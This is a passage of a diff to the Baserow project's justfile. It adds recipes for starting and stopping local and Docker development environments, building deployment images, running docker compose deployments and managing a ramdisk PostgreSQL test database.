+ ;; + esac + +# Internal: Start local dev environment +[private] +_dev-start: + #!/usr/bin/env bash + set -euo pipefail + + # Create .env.local from example if it doesn't exist + if [ ! -f .env.local ]; then + if [ -f .env.local.example ]; then + echo "Creating .env.local from .env.local.example..." + cp .env.local.example .env.local + echo "" + else + echo "Warning: .env.local.example not found, skipping .env.local creation" + echo "" + fi + fi + + # Load environment variables from .env.local + if [ -f .env.local ]; then + set -a + source .env.local + set +a + fi + + echo "Starting Baserow local development environment..." + echo "" + + # Start docker services (redis, db, mailhog, otel-collector) + echo "==> Starting Docker services (redis, db, mailhog, otel-collector)..." + just dc-dev up -d redis db mailhog otel-collector + + # Wait for services to be ready + echo "==> Waiting for PostgreSQL to be ready..." + for i in {1..30}; do + if just dc-dev exec -T db pg_isready -U baserow >/dev/null 2>&1; then + echo " PostgreSQL is ready!" + break + fi + if [ $i -eq 30 ]; then + echo " ERROR: PostgreSQL did not become ready in time" + exit 1 + fi + sleep 1 + done + + echo "==> Waiting for Redis to be ready..." + for i in {1..30}; do + if just dc-dev exec -T redis redis-cli ping >/dev/null 2>&1; then + echo " Redis is ready!" + break + fi + if [ $i -eq 30 ]; then + echo " ERROR: Redis did not become ready in time" + exit 1 + fi + sleep 1 + done + + # Run database migrations + echo "" + echo "==> Running database migrations..." + (cd backend && just migrate) + + echo "" + echo "==> Starting backend dev server..." + (cd backend && just run-dev-server) > "{{ backend_log_file }}" 2>&1 & + BACKEND_PID=$! + echo " PID: $BACKEND_PID (log: {{ backend_log_file }})" + + echo "==> Starting Celery workers..." + (cd backend && just run-dev-celery) > "{{ celery_log_file }}" 2>&1 & + CELERY_PID=$! + echo " PID: $CELERY_PID (log: {{ celery_log_file }})" + + echo "==> Starting frontend dev server..." + (cd web-frontend && just run-dev-server) > "{{ frontend_log_file }}" 2>&1 & + FRONTEND_PID=$! + echo " PID: $FRONTEND_PID (log: {{ frontend_log_file }})" + + # Save PIDs + echo "$BACKEND_PID" > /tmp/baserow-backend.pid + echo "$CELERY_PID" > /tmp/baserow-celery.pid + echo "$FRONTEND_PID" > /tmp/baserow-frontend.pid + + echo "" + echo "==============================================" + echo "Baserow local development environment started!" + echo "==============================================" + echo "" + echo "Services:" + echo " Backend: http://localhost:8000" + echo " Frontend: http://localhost:3000" + echo " Mailhog: http://localhost:8025" + echo "" + echo "Commands:" + echo " just dev logs # View logs" + echo " just dev logs -f backend # Follow backend logs" + echo " just dev stop # Stop all services" + echo "" + +# Internal: Stop local dev environment +[private] +_dev-stop: + #!/usr/bin/env bash + set -euo pipefail + + echo "Stopping Baserow development environment..." + + # Stop backend processes + if [ -f /tmp/baserow-backend.pid ]; then + PID=$(cat /tmp/baserow-backend.pid) + if kill -0 "$PID" 2>/dev/null; then + echo "Stopping backend (PID: $PID)..." + kill "$PID" 2>/dev/null || true + fi + rm -f /tmp/baserow-backend.pid + fi + + if [ -f /tmp/baserow-celery.pid ]; then + PID=$(cat /tmp/baserow-celery.pid) + if kill -0 "$PID" 2>/dev/null; then + echo "Stopping celery (PID: $PID)..." + kill "$PID" 2>/dev/null || true + # Also kill child processes (celery workers) + pkill -P "$PID" 2>/dev/null || true + fi + rm -f /tmp/baserow-celery.pid + fi + + if [ -f /tmp/baserow-frontend.pid ]; then + PID=$(cat /tmp/baserow-frontend.pid) + if kill -0 "$PID" 2>/dev/null; then + echo "Stopping frontend (PID: $PID)..." + kill "$PID" 2>/dev/null || true + fi + rm -f /tmp/baserow-frontend.pid + fi + + # Stop docker services + echo "Stopping Docker services..." + just dc-dev stop redis db mailhog otel-collector + + echo "" + echo "Development environment stopped." + +# ============================================================================= +# Local Development (native Python/Node - faster, requires local setup) +# ============================================================================= + +# Start tmux dev session with all services (local processes) +[private] +_dev-tmux: + #!/usr/bin/env bash + set -euo pipefail + + SESSION="baserow-dev" + ROOT="$(pwd)" + + # Helper: create window + create_window() { + local name=$1 + local dir=$2 + local run_cmd=${3:-} + local run_cmd_2=${4:-} + + tmux new-window -t $SESSION -n "$name" -c "$dir" + tmux split-window -h -t "$SESSION:$name" -c "$dir" + if [ -n "$run_cmd" ]; then + tmux send-keys -t "$SESSION:$name.left" "$run_cmd" Enter + fi + tmux select-pane -t "$SESSION:$name.right" + if [ -n "$run_cmd_2" ]; then + tmux send-keys -t "$SESSION:$name.right" "$run_cmd_2" Enter + fi + } + + just dc-dev up -d redis db mailhog otel-collector + # Kill any existing session + if tmux has-session -t $SESSION 2>/dev/null; then + tmux kill-session -t $SESSION + fi + + # Create session with a temporary window (will be closed after creating real windows) + tmux new-session -d -s $SESSION -n _tmp -c "$ROOT" + + create_window "backend" "$ROOT/backend" "just run-dev-server" + create_window "frontend" "$ROOT/web-frontend" "just run-dev-server" + create_window "celery" "$ROOT/backend" "just run-dev-celery" + create_window "db" "$ROOT" "just dc-dev logs -f db" "PGPASSWORD=${DATABASE_PASSWORD:-baserow} just dc-dev exec db psql -U ${DATABASE_USER:-baserow} -d ${DATABASE_NAME:-baserow}" + create_window "redis" "$ROOT" "just dc-dev logs -f redis" "just dc-dev exec redis redis-cli -a ${REDIS_PASSWORD:-baserow}" + + # Kill the temporary window + tmux kill-window -t $SESSION:_tmp + + # Select backend window and attach + tmux select-window -t $SESSION:backend + tmux attach-session -t $SESSION + +# Run any backend command (e.g., just b init, just b test, just b lint) +[group('1 - local-dev')] +[doc("Run backend command: just b (e.g., b test, b lint, b shell)")] +backend *args: + @just --justfile backend/justfile --working-directory backend {{ args }} + +# Shortcut alias for backend +alias b := backend + +# Run any web-frontend command (e.g., just f lint, just f test) +[group('1 - local-dev')] +[doc("Run frontend command: just f (e.g., f lint, f test)")] +frontend *args: + @just --justfile web-frontend/justfile --working-directory web-frontend {{ args }} + +# Shortcut alias for frontend +alias f := frontend + +# Run all linters (backend + frontend) +[group('1 - local-dev')] +[doc("Lint all code (backend + frontend)")] +lint: + @just b lint + @just f lint + +# Run all tests (backend + frontend) +[group('1 - local-dev')] +[doc("Test all code (backend + frontend)")] +test: + @just b test + @just f test + +# Fix all code style (backend + frontend) +[group('1 - local-dev')] +[doc("Auto-fix code style (backend + frontend)")] +fix: + @just b fix + @just f fix + +# Log files for dev servers +backend_log_file := "/tmp/baserow-backend.log" +celery_log_file := "/tmp/baserow-celery.log" +frontend_log_file := "/tmp/baserow-web-frontend.log" + +# ============================================================================= +# Docker Development (everything runs in containers - easier setup) +# ============================================================================= + +_dc_help: + @echo "Usage: just dc-prod [args] (production - uses published images)" + @echo " just dc-dev [args] (development - builds dev images)" + @echo "" + @echo "Examples:" + @echo " just dc-dev tabs # Open terminal tabs for each service (like dev.sh). Alias: just dct" + @echo " just dc-dev up -d # Start containers (detached)" + @echo " just dc-dev up -d backend db # Start specific services" + @echo " just dc-dev tmux # Start tmux session with all services" + @echo " just dc-dev stop # Stop containers (keep volumes)" + @echo " just dc-dev down # Stop and remove containers" + @echo " just dc-dev build --parallel # Build all dev images" + @echo " just dc-dev build backend # Build specific service" + @echo " just dc-dev logs -f backend # Follow logs for a service" + @echo " just dc-dev exec backend bash # Open shell in container" + @echo " just dc-dev ps # Show running containers" + @echo "" + @echo "Optional services (storybook, flower):" + @echo " Started by default via COMPOSE_PROFILES=optional in .env.docker-dev" + @echo " To disable: set COMPOSE_PROFILES= (empty) in .env.docker-dev" + @echo "" + @echo "Production (builds locally if BASEROW_VERSION is unset/latest):" + @echo " just dc-prod up -d # Build and run latest locally" + @echo " just dc-prod build --parallel # Build latest images" + @echo " BASEROW_VERSION=1.29.0 just dc-prod up -d # Pull and run v1.29.0 from registry" + @echo "" + @echo "Troubleshooting:" + @echo " just dc-cache-clear # Clear build cache if builds fail" + @echo " just dc-fix-network # Fix 'network not found' errors" + +# Dev compose (includes docker-compose.dev.yml overlay) +[group('2 - docker-dev')] +[doc("Docker compose (dev): just dc-dev ")] +dc-dev *ARGS: + #!/usr/bin/env bash + if [ -z "{{ ARGS }}" ]; then + just _dc_help + else + if [ ! -f .env.docker-dev ] && [ -f .env.docker-dev.example ]; then + echo "Creating .env.docker-dev from .env.docker-dev.example..." + cp .env.docker-dev.example .env.docker-dev + fi + # Export UID/GID for docker-compose user: directive + if [[ -z "$UID" ]]; then + UID=$(id -u) + fi + export UID + if [[ -z "$GID" ]]; then + GID=$(id -g) + fi + export GID + + # Docker needs node_modules folder to exists to mount the volume inside a bind mount. + # Let's ensure it exists before starting anything. + if [ ! -d web-frontend/node_modules ]; then + mkdir -p web-frontend/node_modules + fi + + DC="docker compose --env-file .env.docker-dev -f docker-compose.yml -f docker-compose.dev.yml" + ALLARGS=({{ ARGS }}) + CMD="${ALLARGS[0]:-}" + + REST=("${ALLARGS[@]:1}") + + case "$CMD" in + wipe) + echo "Wiping dev environment (down -v)..." + $DC down -v + if [ ${#REST[@]} -gt 0 ]; then + $DC "${REST[@]}" + fi + ;; + tmux) + just _dc-dev-tmux + ;; + tabs) + just _dc-dev-tabs "${REST[@]}" + ;; + *) + $DC {{ ARGS }} + ;; + esac + fi + +alias dcd := dc-dev + +# Start tmux dev session with all services (Docker Compose) +[private] +_dc-dev-tmux: + #!/usr/bin/env bash + set -euo pipefail + + SESSION="baserow-dc-dev" + ROOT="$(pwd)" + + # Helper: create window if it doesn't exist + create_window() { + local name=$1 + local shell_cmd=$2 + local log_cmd=$3 + + tmux new-window -t $SESSION -n "$name" -c "$ROOT" + tmux split-window -h -t "$SESSION:$name" -c "$ROOT" + tmux send-keys -t "$SESSION:$name.left" "$shell_cmd" Enter + tmux send-keys -t "$SESSION:$name.right" "$log_cmd" Enter + tmux select-pane -t "$SESSION:$name.left" + } + + # Start services if not running + if ! docker ps --format '{{ '{{.Names}}' }}' | grep -q "^baserow.*db"; then + just dc-dev up -d + fi + # Kill any existing session + if tmux has-session -t $SESSION 2>/dev/null; then + tmux kill-session -t $SESSION + fi + + # Create session with a temporary window (will be closed after creating real windows) + tmux new-session -d -s $SESSION -n _tmp -c "$ROOT" + + create_window "backend" "just dc-dev exec backend bash" "just dc-dev logs -f backend" + create_window "frontend" "just dc-dev exec web-frontend bash" "just dc-dev logs -f web-frontend" + create_window "celery" "just dc-dev exec celery bash" "just dc-dev logs -f celery celery-beat-worker celery-export-worker" + create_window "db" "just dc-dev exec db psql -U baserow" "just dc-dev logs -f db" + create_window "redis" "just dc-dev exec redis redis-cli" "just dc-dev logs -f redis" + + # Kill the temporary window + tmux kill-window -t $SESSION:_tmp + + # Select backend window and attach + tmux select-window -t $SESSION:backend + tmux attach-session -t $SESSION + +# Start dev environment with terminal tabs (like dev.sh) +[private] +_dc-dev-tabs *ARGS: + #!/usr/bin/env bash + set -eo pipefail + + RED=$(tput setaf 1) + GREEN=$(tput setaf 2) + YELLOW=$(tput setaf 3) + NC=$(tput sgr0) # No Color + + print_manual_instructions(){ + COMMAND=$1 + echo -e "\nTo inspect the now running dev environment open a new tab/terminal and run:" + echo " $COMMAND" + } + + PRINT_WARNING=true + new_tab() { + TAB_NAME=$1 + COMMAND=$2 + echo "Attempting to open tab with command $GREEN$COMMAND$NC" + + if [[ "$OSTYPE" == "linux-gnu"* ]]; then + if [ -x "$(command -v gnome-terminal)" ]; then + gnome-terminal \ + --tab --title="$TAB_NAME" --working-directory="$(pwd)" -- /bin/bash -c "$COMMAND" + elif [ -x "$(command -v konsole)" ]; then + ktab=$(qdbus $KONSOLE_DBUS_SERVICE $KONSOLE_DBUS_WINDOW newSession) + qdbus $KONSOLE_DBUS_SERVICE /Sessions/$(($ktab)) setTitle 1 "$TAB_NAME" + qdbus $KONSOLE_DBUS_SERVICE /Sessions/$(($ktab)) runCommand "cd $(pwd); $COMMAND" + qdbus $KONSOLE_DBUS_SERVICE $KONSOLE_DBUS_WINDOW prevSession + else + if $PRINT_WARNING; then + echo -e "\n${YELLOW}WARNING${NC}: gnome-terminal is the only currently supported way of opening + multiple tabs/terminals for linux by this script, add support for your setup!" + PRINT_WARNING=false + fi + print_manual_instructions "$COMMAND" + fi + elif [[ "$OSTYPE" == "darwin"* ]]; then + osascript \ + -e "tell application \"Terminal\"" \ + -e "tell application \"System Events\" to keystroke \"t\" using {command down}" \ + -e "do script \"printf '\\\e]1;$TAB_NAME\\\a'; $COMMAND\" in front window" \ + -e "end tell" > /dev/null + else + if $PRINT_WARNING; then + echo -e "\n${YELLOW}WARNING${NC}: The OS '$OSTYPE' is not supported yet for creating tabs to setup + baserow's dev environment, please add support!" + PRINT_WARNING=false + fi + print_manual_instructions "$COMMAND" + fi + } + + launch_tab_and_attach(){ + tab_name=$1 + service_name=$2 + container_name=$(docker inspect -f '{{ '{{.Name}}' }}' "$(just dc-dev ps -q "$service_name")" | cut -c2-) + command="docker logs $container_name && docker attach $container_name" + if [[ $(docker inspect "$container_name" --format='{{ '{{.State.ExitCode}}' }}') -eq 0 ]]; then + new_tab "$tab_name" "$command" + else + echo -e "\n${RED}$service_name crashed on launch!${NC}" + docker logs "$container_name" + echo -e "\n${RED}$service_name crashed on launch, see above for logs!${NC}" + fi + } + + launch_tab_and_exec(){ + tab_name=$1 + service_name=$2 + exec_command=$3 + container_name=$(docker inspect -f '{{ '{{.Name}}' }}' "$(just dc-dev ps -q "$service_name")" | cut -c2-) + command="docker exec -it $container_name $exec_command" + new_tab "$tab_name" "$command" + } + + # Start services using dc-dev recipe + just dc-dev up -d {{ ARGS }} + + # Open tabs for main services + launch_tab_and_attach "backend" "backend" + launch_tab_and_attach "web frontend" "web-frontend" + launch_tab_and_attach "celery" "celery" + launch_tab_and_attach "export worker" "celery-export-worker" + launch_tab_and_attach "beat worker" "celery-beat-worker" + + # Open lint tabs + launch_tab_and_exec "web frontend lint" \ + "web-frontend" \ + "/bin/bash /baserow/web-frontend/docker/docker-entrypoint.sh lint-fix" + launch_tab_and_exec "backend lint" \ + "backend" \ + "/bin/bash /baserow/backend/docker/docker-entrypoint.sh lint-shell" + +# Shortcut for dc-dev tabs +[private] +dct *ARGS: + @just dc-dev tabs {{ ARGS }} + +# Attach to a running container (interactive shell) +[group('2 - docker-dev')] +[doc("Attach to running container: just dc-attach [filter]")] +dc-attach container="": + #!/usr/bin/env bash + set -euo pipefail + + # Colors + CYAN='\033[0;36m' + GREEN='\033[0;32m' + YELLOW='\033[0;33m' + DIM='\033[2m' + BOLD='\033[1m' + NC='\033[0m' # No Color + + # Get running containers, optionally filtered by name + if [ -n "{{ container }}" ]; then + mapfile -t containers < <(docker ps --format '{{ '{{.Names}}\t{{.Image}}\t{{.Status}}' }}' | grep -i "{{ container }}" || true) + else + mapfile -t containers < <(docker ps --format '{{ '{{.Names}}\t{{.Image}}\t{{.Status}}' }}') + fi + + if [ ${#containers[@]} -eq 0 ]; then + if [ -n "{{ container }}" ]; then + echo -e "${YELLOW}No running containers matching '{{ container }}'.${NC}" + else + echo -e "${YELLOW}No running containers found.${NC}" + fi + exit 1 + fi + + # If only one container, attach immediately + if [ ${#containers[@]} -eq 1 ]; then + name=$(echo "${containers[0]}" | cut -f1) + echo -e "Attaching to ${GREEN}${name}${NC}..." + docker exec -it "$name" bash + exit 0 + fi + + # Multiple containers - show selection menu + echo -e "${BOLD}Running containers:${NC}" + echo "" + for i in "${!containers[@]}"; do + name=$(echo "${containers[$i]}" | cut -f1) + image=$(echo "${containers[$i]}" | cut -f2) + status=$(echo "${containers[$i]}" | cut -f3) + printf " ${CYAN}%2d)${NC} ${GREEN}%-30s${NC} ${DIM}%-40s${NC} ${YELLOW}%s${NC}\n" "$((i+1))" "$name" "$image" "$status" + done + echo "" + echo -e " ${DIM}q) Quit${NC}" + echo "" + + # Read single character without waiting for Enter + printf "Select container [1-${#containers[@]}]: " + read -rsn1 choice + + # Handle ESC (reads as empty with -s, or as escape sequence) + if [[ "$choice" == $'\x1b' || -z "$choice" ]]; then + echo "" + exit 0 + fi + + # Handle quit + if [[ "$choice" == "q" || "$choice" == "Q" ]]; then + echo "$choice" + exit 0 + fi + + # For numbers, check if valid single digit selection + if [[ "$choice" =~ ^[0-9]$ ]] && [ "$choice" -ge 1 ] && [ "$choice" -le ${#containers[@]} ]; then + echo "$choice" + name=$(echo "${containers[$((choice-1))]}" | cut -f1) + docker exec -it "$name" bash + else + echo "$choice" + echo -e "${YELLOW}Invalid selection${NC}" + exit 1 + fi + +# Shortcut alias for dc-attach +alias a := dc-attach + +# Clear Docker BuildKit cache +# WARNING: This clears ALL Docker builder cache, not just Baserow! +[group('2 - docker-dev')] +[doc("Clear ALL Docker builder cache (not just Baserow)")] +dc-cache-clear: + @echo "WARNING: This will clear ALL Docker builder cache, not just Baserow." + @echo "This affects all projects on your system." + @echo "" + docker builder prune -a -f + +alias prune := dc-cache-clear + +# Fix Docker network issues (removes containers referencing missing networks) +[group('2 - docker-dev')] +[doc("Fix 'network not found' errors")] +dc-fix-network: + #!/usr/bin/env bash + echo "Stopping and removing Baserow containers with stale network references..." + docker compose -f docker-compose.yml -f docker-compose.dev.yml down --remove-orphans 2>/dev/null || true + # Remove any containers still referencing the old network + docker ps -aq --filter "name=baserow" | xargs -r docker rm -f 2>/dev/null || true + echo "" + echo "Done. You can now run: just dc-dev up -d" + +# ============================================================================= +# Production Images (build & test production Docker images) +# ============================================================================= + +# Production compose (builds locally if BASEROW_VERSION is unset/latest, otherwise pulls images) +[group('3 - production')] +[doc("Docker compose (production images): just dc-prod ")] +dc-prod *ARGS: + #!/usr/bin/env bash + if [ -z "{{ ARGS }}" ]; then + just _dc_help + else + VERSION="${BASEROW_VERSION:-latest}" + if [ "$VERSION" = "latest" ] || [ -z "$BASEROW_VERSION" ]; then + # Build locally for latest/unset + BASEROW_VERSION="$VERSION" docker compose -f docker-compose.yml -f docker-compose.build.yml {{ ARGS }} + else + # Pull from registry for specific versions + BASEROW_VERSION="$VERSION" docker compose -f docker-compose.yml {{ ARGS }} + fi + fi + +alias dcp := dc-prod + +# Build deployment images +[group('3 - production')] +[doc("Build image: backend, web-frontend, all-in-one, heroku, cloudron, etc.")] +build target="" tag="latest" *ARGS: + #!/usr/bin/env bash + set -eo pipefail + + # Parse args - check for --multi flag + MULTI=false + BUILD_ARGS=() + for arg in {{ ARGS }}; do + if [[ "$arg" == "--multi" ]]; then + MULTI=true + else + BUILD_ARGS+=("$arg") + fi + done + + # Set up build command + if [[ "$MULTI" == "true" ]]; then + echo "Multi-platform build enabled (linux/amd64, linux/arm64)" + # Ensure buildx builder exists + if ! docker buildx inspect baserow-multiarch >/dev/null 2>&1; then + echo "Creating buildx builder 'baserow-multiarch'..." + docker buildx create --name baserow-multiarch --use + else + docker buildx use baserow-multiarch + fi + BUILD_CMD="docker buildx build --platform linux/amd64,linux/arm64" + # Check if --push or --output is specified, warn if not + if [[ ! " ${BUILD_ARGS[*]} " =~ " --push " ]] && [[ ! " ${BUILD_ARGS[*]} " =~ " --output " ]]; then + echo "" + echo "WARNING: Multi-platform builds require --push or --output to export." + echo " Add --push to push to registry, or --output type=tar,dest=image.tar" + echo "" + fi + else + BUILD_CMD="docker build" + fi + + case "{{ target }}" in + "backend") + TARGET_ARG="" + UID_GID_ARGS="" + NAME_ARG="" + if [[ "{{ tag }}" == "ci" || "{{ tag }}" == "dev" || "{{ tag }}" == "prod" || "{{ tag }}" == "local" ]]; then + TARGET_ARG="--target={{ tag }}" + fi + if [[ "{{ tag }}" == "dev" ]]; then + UID_GID_ARGS="--build-arg UID=$(id -u) --build-arg GID=$(id -g)" + fi + NAME_ARG="baserow/backend:{{ tag }}" + $BUILD_CMD "${BUILD_ARGS[@]}" $UID_GID_ARGS -f backend/Dockerfile $TARGET_ARG -t $NAME_ARG . + ;; + "web-frontend") + TARGET_ARG="" + UID_GID_ARGS="" + if [[ "{{ tag }}" == "ci" || "{{ tag }}" == "dev" || "{{ tag }}" == "prod" || "{{ tag }}" == "local" || "{{ tag }}" == "local-base" ]]; then + TARGET_ARG="--target={{ tag }}" + fi + if [[ "{{ tag }}" == "dev" ]]; then + UID_GID_ARGS="--build-arg UID=$(id -u) --build-arg GID=$(id -g)" + fi + NAME_ARG="baserow/web-frontend:{{ tag }}" + $BUILD_CMD "${BUILD_ARGS[@]}" $UID_GID_ARGS -f web-frontend/Dockerfile $TARGET_ARG -t $NAME_ARG . + ;; + "all-in-one") + echo "Building backend (prod)..." + $BUILD_CMD "${BUILD_ARGS[@]}" -f backend/Dockerfile --target prod -t baserow_backend:latest . + echo "Building web-frontend (prod)..." + $BUILD_CMD "${BUILD_ARGS[@]}" -f web-frontend/Dockerfile --target prod -t baserow_web-frontend:latest . + echo "Building all-in-one..." + NAME_ARG="baserow/baserow:{{ tag }}" + $BUILD_CMD "${BUILD_ARGS[@]}" -f deploy/all-in-one/Dockerfile --target prod -t $NAME_ARG . + ;; + "all-in-one-lite") + echo "Building backend (prod)..." + $BUILD_CMD "${BUILD_ARGS[@]}" -f backend/Dockerfile --target prod -t baserow_backend:latest . + echo "Building web-frontend (prod)..." + $BUILD_CMD "${BUILD_ARGS[@]}" -f web-frontend/Dockerfile --target prod -t baserow_web-frontend:latest . + echo "Building all-in-one-lite (no postgres/redis)..." + NAME_ARG="baserow/baserow:lite-{{ tag }}" + $BUILD_CMD "${BUILD_ARGS[@]}" -f deploy/all-in-one/Dockerfile --target prod-lite -t $NAME_ARG . + ;; + "all-in-one-dev") + echo "Building backend (dev)..." + $BUILD_CMD "${BUILD_ARGS[@]}" -f backend/Dockerfile --target dev -t baserow_backend:dev . + echo "Building web-frontend (dev)..." + $BUILD_CMD "${BUILD_ARGS[@]}" -f web-frontend/Dockerfile --target dev -t baserow_web-frontend:dev . + echo "Building all-in-one-dev..." + NAME_ARG="baserow/baserow:dev-{{ tag }}" + $BUILD_CMD "${BUILD_ARGS[@]}" -f deploy/all-in-one/Dockerfile --target dev -t $NAME_ARG . + ;; + "heroku") + NAME_ARG="baserow/heroku:{{ tag }}" + $BUILD_CMD "${BUILD_ARGS[@]}" -f heroku.Dockerfile -t $NAME_ARG . + ;; + "cloudron") + NAME_ARG="baserow/cloudron:{{ tag }}" + $BUILD_CMD "${BUILD_ARGS[@]}" -f deploy/cloudron/Dockerfile -t $NAME_ARG . + ;; + "render") + NAME_ARG="baserow/render:{{ tag }}" + $BUILD_CMD "${BUILD_ARGS[@]}" -f deploy/render/Dockerfile -t $NAME_ARG . + ;; + "apache") + NAME_ARG="baserow/apache:{{ tag }}" + $BUILD_CMD "${BUILD_ARGS[@]}" -f deploy/apache/recommended/Dockerfile -t $NAME_ARG deploy/apache/recommended/ + ;; + "apache-no-caddy") + NAME_ARG="baserow/apache-no-caddy:{{ tag }}" + $BUILD_CMD "${BUILD_ARGS[@]}" -f deploy/apache/no-caddy/Dockerfile -t $NAME_ARG deploy/apache/no-caddy/ + ;; + *) + echo "Build deployment images" + echo "" + echo "Usage: just build [tag] [--multi] [docker-args]" + echo "" + echo "Targets:" + echo " backend - Backend API server" + echo " web-frontend - Nuxt web frontend" + echo " all-in-one - Single container (production)" + echo " all-in-one-lite - Single container without postgres/redis" + echo " all-in-one-dev - Single container (development)" + echo " heroku - Heroku platform" + echo " cloudron - Cloudron marketplace" + echo " render - Render.com platform" + echo " apache - Apache reverse proxy" + echo " apache-no-caddy - Apache reverse proxy (no Caddy)" + echo "" + echo "Options:" + echo " --multi - Build for linux/amd64 and linux/arm64 (requires --push or --output)" + echo "" + echo "Examples:" + echo " just build all-in-one # Local build, current platform" + echo " just build all-in-one 2.0.0 # Tag as :2.0.0" + echo " just build all-in-one latest --multi --push # Multi-platform, push to registry" + echo " just build backend" + [[ -n "{{ target }}" ]] && exit 1 || exit 0 + ;; + esac + echo "" + if [[ "$MULTI" != "true" ]]; then + echo "Built: $NAME_ARG" + else + echo "Multi-platform build complete." + fi + +# Run docker compose for specific deployment configurations +[group('3 - production')] +[doc("Docker compose for different deployments methods (all-in-one, heroku, etc.): just dc-deploy ")] +dc-deploy name="" *ARGS: + #!/usr/bin/env bash + set -euo pipefail + + case "{{ name }}" in + "all-in-one") + docker compose -f deploy/all-in-one/docker-compose.yml {{ ARGS }} + ;; + "all-in-one-dev") + # Export UID/GID for docker-compose user: directive + if [[ -z "${UID:-}" ]]; then + UID=$(id -u) + fi + export UID + if [[ -z "${GID:-}" ]]; then + GID=$(id -g) + fi + export GID + docker compose -f deploy/all-in-one/docker-compose.yml -f deploy/all-in-one/docker-compose.dev.yml {{ ARGS }} + ;; + "cloudron") + docker compose -f deploy/cloudron/docker-compose.yml {{ ARGS }} + ;; + "heroku") + docker compose -f deploy/heroku/docker-compose.yml {{ ARGS }} + ;; + "traefik") + docker compose -f deploy/traefik/docker-compose.yml {{ ARGS }} + ;; + "nginx") + docker compose -f deploy/nginx/recommended/docker-compose.yml {{ ARGS }} + ;; + "apache") + docker compose -f deploy/apache/recommended/docker-compose.yml {{ ARGS }} + ;; + "local-testing") + docker compose -f deploy/local_testing/docker-compose.local.yml {{ ARGS }} + ;; + *) + echo "Run docker compose for deployment configurations" + echo "" + echo "Usage: just dc-deploy [args]" + echo "" + echo "Deployments:" + echo " all-in-one - All-in-one container (production)" + echo " all-in-one-dev - All-in-one container (development)" + echo " cloudron - Cloudron deployment" + echo " heroku - Heroku deployment" + echo " traefik - Traefik reverse proxy" + echo " nginx - Nginx reverse proxy" + echo " apache - Apache reverse proxy" + echo " local-testing - Local testing setup" + echo "" + echo "Examples:" + echo " just dc-deploy cloudron up -d" + echo " just dc-deploy all-in-one logs -f" + echo " just dc-deploy heroku build" + [[ -n "{{ name }}" ]] && exit 1 || exit 0 + ;; + esac + +# ============================================================================= +# Testing (fast test database, E2E tests) +# ============================================================================= + +# Test DB settings +test_db_name := "baserow-test-db" +test_db_port := env("TEST_DB_PORT", "5431") +test_db_image := "pgvector/pgvector:pg${POSTGRES_IMAGE_VERSION:-13}" + +# Ramdisk PostgreSQL for fast tests (2-5x faster) +[group('4 - testing')] +[doc("Manage a ramdisk database container for faster backend tests: just test-db ")] +test-db cmd="": + #!/usr/bin/env bash + case "{{ cmd }}" in + up|start) + just _test-db-start + ;; + down|stop) + just _test-db-stop + ;; + ps) + just _test-db-ps + ;; + *) + echo "Ramdisk PostgreSQL for fast tests (2-5x faster)" + echo "" + echo "Usage: just test-db " + echo "" + echo "Commands:" + echo " up, start Start test database on port {{ test_db_port }}" + echo " down, stop Stop and remove test database" + echo " ps Check if test database is running" + echo "" + echo "Example:" + echo " just test-db up" + echo " DATABASE_URL=postgres://baserow:baserow@localhost:{{ test_db_port }}/baserow just b test -n=auto" + echo " just test-db down" + ;; + esac + +[private] +_test-db-start: + #!/usr/bin/env bash + set -euo pipefail + # Always remove and recreate to get fresh tmpfs + if docker ps -a --format '{{ '{{.Names}}' }}' | grep -q "^{{ test_db_name }}$"; then + echo "Removing existing container to get fresh tmpfs..." + docker rm -f {{ test_db_name }} > /dev/null + fi + echo "Creating test database container with tmpfs (ramdisk)..." + docker run -d \ + --name {{ test_db_name }} \ + -e POSTGRES_USER=baserow \ + -e POSTGRES_PASSWORD=baserow \ + -e POSTGRES_DB=baserow \ + -p {{ test_db_port }}:5432 \ + --tmpfs /var/lib/postgresql/data:size=8G \ + {{ test_db_image }} \ + -c shared_buffers=512MB \ + -c fsync=off \ + -c full_page_writes=off \ + -c synchronous_commit=off \ + -c max_locks_per_transaction=512 \ + -c logging_collector=off \ + -c log_statement=none \ + -c log_duration=off \ + -c log_min_duration_statement=-1 \ + -c log_checkpoints=off \ + -c log_connections=off \ + -c log_disconnections=off \ + -c log_lock_waits=off \ + -c log_temp_files=-1 \ + -c checkpoint_timeout=1h \ + -c max_wal_size=10GB \ + -c min_wal_size=1GB \ + -c wal_level=minimal \ + -c max_wal_senders=0 \ + -c autovacuum=off \ + -c random_page_cost=1.0 \ + -c effective_io_concurrency=200 \ + -c work_mem=256MB \ + -c maintenance_work_mem=512MB + echo "" + echo "Test database running on port {{ test_db_port }}" + echo "" + echo "Run tests with:" + echo " DATABASE_URL=postgres://baserow:baserow@localhost:{{ test_db_port }}/baserow just b test -n=auto" + +[private] +_test-db-stop: + docker rm -f {{ test_db_name }} 2>/dev/null || true + +[private] +_test-db-ps: + #!/usr/bin/env bash + if docker ps --format '{{ '{{.Names}}' }}' | grep -q "^{{ test_db_name }}$"; then + echo "Test database is running on port {{ test_db_port }}" + echo "" + echo "DATABASE_URL=postgres://baserow:baserow@localhost:{{ test_db_port }}/baserow" + elif docker ps -a --format '{{ '{{.Names}}' }}' | grep -q "^{{ test_db_name }}$"; then + echo "Test database exists but is stopped" + echo "Run 'just test-db up' to start it" + else + echo "Test database is not running" + echo "Run 'just test-db up' to start it" + fi + +# Run E2E commands (delegates to e2e-tests/justfile) +[group('4 - testing')] +[doc("E2E tests: just e2e ")] +e2e *ARGS: + @just --justfile e2e-tests/justfile {{ ARGS }} + +# ============================================================================= +# Environment & Utilities +# ============================================================================= + +# Print command to load .env.local (use with: eval "$(just env-load)") +[group('5 - utilities')] +[doc("Print command to load .env.local: eval \"$(just env-load)\"")] +env-load: + @echo 'set -a; source "'"$PWD"'/.env.local"; set +a' + +# Print command to unset all vars from .env.local (use with: eval "$(just env-clear)") +[group('5 - utilities')] +[doc("Print command to clear .env.local vars: eval \"$(just env-clear)\"")] +env-clear: + #!/usr/bin/env bash + if [ -f .env.local ]; then + vars=$(grep -v '^#' .env.local | grep -v '^$' | grep '=' | cut -d= -f1 | xargs) + if [ -n "$vars" ]; then + echo "unset $vars" + fi + else + echo "echo 'No .env.local found'" + fi + +# ============================================================================= +# CI Docker Image Testing +# ============================================================================= + +# CI image names +ci_backend_image := "baserow_backend:ci" +ci_frontend_image := "baserow_frontend:ci" + +# CI Docker commands: build, lint, test, run (full pipeline) +# Usage: +# just ci build # Build both CI images +# just ci build backend # Build backend CI image only +# just ci build frontend # Build frontend CI image only +# just ci lint # Lint both +# just ci lint backend # Lint backend 